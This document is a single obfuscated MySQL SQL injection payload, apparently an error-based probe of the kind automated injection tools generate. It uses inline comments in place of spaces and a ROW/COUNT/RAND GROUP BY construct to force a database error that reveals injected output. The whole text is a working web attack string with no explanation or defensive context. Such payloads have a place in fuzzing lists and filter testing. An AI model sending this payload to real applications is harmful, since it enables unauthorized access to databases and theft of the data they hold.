1,(SELECT/**/2378/**/FROM/**/(SELECT/**/ROW(2378,3498)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2378=2378,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/10638/**/UNION/**/SELECT/**/4670/**/UNION/**/SELECT/**/1788/**/UNION/**/SELECT/**/8651)a/**/GROUP/**/BY/**/x))s)#